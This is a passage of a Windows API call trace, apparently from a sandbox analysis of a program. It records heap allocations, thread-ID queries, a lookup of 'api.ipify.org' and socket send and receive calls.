GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.391] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetLastError () returned 0x3 [0118.392] SetLastError (dwErrCode=0x3) [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.392] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] GetCurrentThreadId () returned 0x9fc [0118.393] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35dc8 [0118.394] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4abd8 [0118.394] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34be8 [0118.394] GetLastError () returned 0x3 [0118.394] SetLastError (dwErrCode=0x3) [0118.394] GetLastError () returned 0x3 [0118.394] SetLastError (dwErrCode=0x3) [0118.394] GetLastError () returned 0x3 [0118.394] SetLastError (dwErrCode=0x3) [0118.394] GetLastError () returned 0x3 [0118.394] SetLastError (dwErrCode=0x3) [0118.394] GetLastError () returned 0x3 [0118.394] SetLastError (dwErrCode=0x3) [0118.394] GetLastError () returned 0x3 [0118.394] SetLastError (dwErrCode=0x3) [0118.394] GetLastError () returned 0x3 [0118.394] SetLastError (dwErrCode=0x3) [0118.394] GetLastError () returned 0x3 [0118.394] SetLastError (dwErrCode=0x3) [0118.394] GetLastError () returned 0x3 [0118.394] SetLastError (dwErrCode=0x3) [0118.394] GetLastError () returned 0x3 [0118.395] SetLastError (dwErrCode=0x3) [0118.395] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35d08 [0118.395] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34c00 [0118.395] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34c18 [0118.395] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f28 [0118.395] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34c30 [0118.395] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x15) returned 0x2d35f48 [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] GetCurrentThreadId () returned 0x9fc [0118.395] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a0ec8 | out: hHeap=0x2a0000) returned 1 [0118.396] GetCurrentThreadId () returned 0x9fc [0118.396] GetCurrentThreadId () returned 0x9fc [0118.396] GetCurrentThreadId () returned 0x9fc [0118.396] GetCurrentThreadId () returned 0x9fc [0118.396] GetCurrentThreadId () returned 0x9fc [0118.396] GetCurrentThreadId () returned 0x9fc [0118.396] GetCurrentThreadId () returned 0x9fc [0118.396] GetCurrentThreadId () returned 0x9fc [0118.396] GetCurrentThreadId () returned 0x9fc [0118.396] GetCurrentThreadId () returned 0x9fc [0118.396] GetCurrentThreadId () returned 0x9fc [0118.396] GetCurrentThreadId () returned 0x9fc [0118.396] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9c4) returned 0x2d48198 [0118.396] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x404) returned 0x2d50ac0 [0118.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d50ac0 | out: hHeap=0x2a0000) returned 1 [0118.396] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x348) returned 0x2d50ac0 [0118.396] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x404) returned 0x2d518f8 [0118.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d518f8 | out: hHeap=0x2a0000) returned 1 [0118.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d50ac0 | out: hHeap=0x2a0000) returned 1 [0118.396] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e88 [0118.396] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34cf0 [0118.396] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34cf0, Size=0x20) returned 0x2d4a358 [0118.396] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a358, Size=0x40) returned 0x2d36488 [0118.396] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d36488, Size=0x80) returned 0x2d4ead8 [0118.396] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2d4a988 [0118.396] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a988, Size=0x200) returned 0x2d50ac0 [0118.397] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48198 | out: hHeap=0x2a0000) returned 1 [0118.397] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ea8 [0118.397] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34cf0 [0118.397] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34cf0, Size=0x200) returned 0x2d37488 [0118.397] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0118.397] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35de8 | out: hHeap=0x2a0000) returned 1 [0118.397] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d25088 | out: hHeap=0x2a0000) returned 1 [0118.397] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35d68 | out: hHeap=0x2a0000) returned 1 [0118.397] setsockopt (s=0x12c, level=65535, optname=4102, optval="0u", optlen=4) returned 0 [0118.397] setsockopt (s=0x12c, level=65535, optname=4101, optval="0u", optlen=4) returned 0 [0118.397] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.397] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.397] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.397] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0118.397] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.397] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.397] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.397] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.397] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.397] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0118.397] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.398] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.398] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0118.398] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1dc) returned 0x2d24e80 [0118.398] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2d25068 [0118.398] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d251f0 [0118.398] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a358 [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x42c) returned 0x2d518f8 [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.398] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35d68 [0118.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34cf0 [0118.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d36488 [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="api.ipify.org", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0118.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="api.ipify.org", cchWideChar=13, lpMultiByteStr=0x7f2fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="api.ipify.org", lpUsedDefaultChar=0x0) returned 13 [0118.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d34d80 [0118.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa9c | out: lpSystemTimeAsFileTime=0x18fa9c*(dwLowDateTime=0x97790ca0, dwHighDateTime=0x1d60051)) [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2a0ec8 [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.399] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a0ec8 | out: hHeap=0x2a0000) returned 1 [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] SetLastError (dwErrCode=0x0) [0118.400] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35b30 [0118.400] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5558) returned 0x2d3b470 [0118.400] GetCurrentThreadId () returned 0x9fc [0118.400] GetCurrentThreadId () returned 0x9fc [0118.401] GetCurrentThreadId () returned 0x9fc [0118.401] GetCurrentThreadId () returned 0x9fc [0118.401] GetCurrentThreadId () returned 0x9fc [0118.401] GetCurrentThreadId () returned 0x9fc [0118.401] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4548) returned 0x2d409d0 [0118.401] GetCurrentThreadId () returned 0x9fc [0118.401] GetCurrentThreadId () returned 0x9fc [0118.401] GetCurrentThreadId () returned 0x9fc [0118.401] GetCurrentThreadId () returned 0x9fc [0118.401] GetCurrentThreadId () returned 0x9fc [0118.401] GetCurrentThreadId () returned 0x9fc [0118.401] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x44b0) returned 0x2d51d30 [0118.401] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d364d0 [0118.401] GetCurrentThreadId () returned 0x9fc [0118.401] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34ee8 [0118.402] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xf4) returned 0x2d4a988 [0118.402] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa34 | out: lpSystemTimeAsFileTime=0x18fa34*(dwLowDateTime=0x977b6e00, dwHighDateTime=0x1d60051)) [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.402] GetCurrentThreadId () returned 0x9fc [0118.403] GetCurrentThreadId () returned 0x9fc [0118.403] GetCurrentThreadId () returned 0x9fc [0118.403] GetCurrentThreadId () returned 0x9fc [0118.403] GetCurrentThreadId () returned 0x9fc [0118.403] GetCurrentThreadId () returned 0x9fc [0118.403] GetCurrentThreadId () returned 0x9fc [0118.403] GetCurrentThreadId () returned 0x9fc [0118.403] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2a0ec8 [0118.403] GetCurrentThreadId () returned 0x9fc [0118.403] GetCurrentThreadId () returned 0x9fc [0118.403] GetCurrentThreadId () returned 0x9fc [0118.403] GetCurrentThreadId () returned 0x9fc [0118.403] GetCurrentThreadId () returned 0x9fc [0118.403] GetCurrentThreadId () returned 0x9fc [0118.403] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a0ec8 | out: hHeap=0x2a0000) returned 1 [0118.403] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1b4) returned 0x2d50cc8 [0118.403] WSASetLastError (iError=0) [0118.403] send (s=0x12c, buf=0x2d3b470*, len=329, flags=0) returned 329 [0118.403] WSASetLastError (iError=0) [0118.404] recv (in: s=0x12c, buf=0x2d409d0, len=7, flags=0 | out: buf=0x2d409d0*) returned 7 [0118.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d36518 [0118.532] GetCurrentThreadId () returned 0x9fc [0118.532] GetCurrentThreadId () returned 0x9fc [0118.532] GetCurrentThreadId () returned 0x9fc [0118.532] GetCurrentThreadId () returned 0x9fc [0118.532] GetCurrentThreadId () returned 0x9fc [0118.532] GetCurrentThreadId () returned 0x9fc [0118.532] GetCurrentThreadId () returned 0x9fc [0118.532] GetCurrentThreadId () returned 0x9fc [0118.532] GetCurrentThreadId () returned 0x9fc [0118.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa4c | out: lpSystemTimeAsFileTime=0x18fa4c*(dwLowDateTime=0x978e7900, dwHighDateTime=0x1d60051)) [0118.532] WSASetLastError (iError=0) [0118.532] recv (in: s=0x12c, buf=0x2d409da, len=87, flags=0 | out: buf=0x2d409da*) returned 87 [0118.533] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4abc8 [0118.533] SetLastError (dwErrCode=0x0) [0118.533] WSASetLastError (iError=0) [0118.533] recv (in: s=0x12c, buf=0x2d409d3, len=5, flags=0 | out: buf=0x2d409d3*) returned 5 [0118.533] SetLastError (dwErrCode=0x0) [0118.533] WSASetLastError (iError=0) [0118.533] recv (in: s=0x12c, buf=0x2d409d8, len=5406, flags=0 | out: buf=0x2d409d8*) returned 2821 [0118.533] SetLastError (dwErrCode=0x0) [0118.533] WSASetLastError (iError=0) [0118.533] recv (in: s=0x12c, buf=0x2d414dd, len=2585, flags=0 | out: buf=0x2d414dd*) returned 1176 [0118.549] SetLastError (dwErrCode=0x0) [0118.549] WSASetLastError (iError=0) [0118.549] recv (in: s=0x12c, buf=0x2d41975, len=1409, flags=0 | out: buf=0x2d41975*) returned 1409 [0118.549] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1e50) returned 0x2d561e8 [0118.549] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d50cc8 | out: hHeap=0x2a0000) returned 1 [0118.549] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35de8 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34db0 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2a0ec8 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2a0f38 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f00 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4abb8 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35068 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35080 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4aba8 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35020 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35038 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36028 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fe8 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35050 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34fd8 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34ff0 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab88 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f90 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab98 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fa8 [0118.550] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34de0, Size=0x20) returned 0x2d4a3a8 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361c8 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34de0 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35260 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35278 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36208 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab58 [0118.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2e) returned 0x2d25228 [0118.550] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35080 | out: hHeap=0x2a0000) returned 1 [0118.550] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35068 | out: hHeap=0x2a0000) returned 1 [0118.550] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36068 | out: hHeap=0x2a0000) returned 1 [0118.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360a8 | out: hHeap=0x2a0000) returned 1 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35068 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35080 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc8) returned 0x2d4d9a8 [0118.551] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35068, Size=0x20) returned 0x2d4a240 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361e8 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35068 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fc8 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35218 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35248 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35230 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35f88 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aad8 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0118.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350c8 [0118.551] 